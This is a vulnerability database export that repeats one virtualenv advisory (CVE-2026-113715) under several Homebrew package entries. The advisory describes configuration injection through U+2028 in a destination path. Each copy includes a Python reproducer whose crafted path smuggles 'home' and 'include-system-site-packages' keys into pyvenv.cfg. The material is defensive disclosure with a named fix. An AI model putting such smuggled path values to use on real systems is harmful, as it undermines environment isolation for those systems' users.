            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-sickchill-CVE-2026-113715",
      "modified": "2026-11-19T09:34:56Z",
      "published": "2026-10-29T21:44:32Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "BIT-virtualenv-2026-113715",
        "CVE-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-TOX-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-11-19 09:50 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.8",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "tox",
            "purl": "pkg:brew/tox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.27.0"
                },
                {
                  "fixed": "4.67.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.8",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.8"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-tox-CVE-2026-113715",
      "modified": "2026-11-19T09:50:00Z",
      "published": "2026-10-26T09:10:34Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-VIRTUALENVWRAPPER-C… (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-27 10:30 – Updated: 2026-11-19 10:54 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualenvwrapper",
            "purl": "pkg:brew/virtualenvwrapper"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "6.1.0"
                },
                {
                  "fixed": "6.1.1_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = 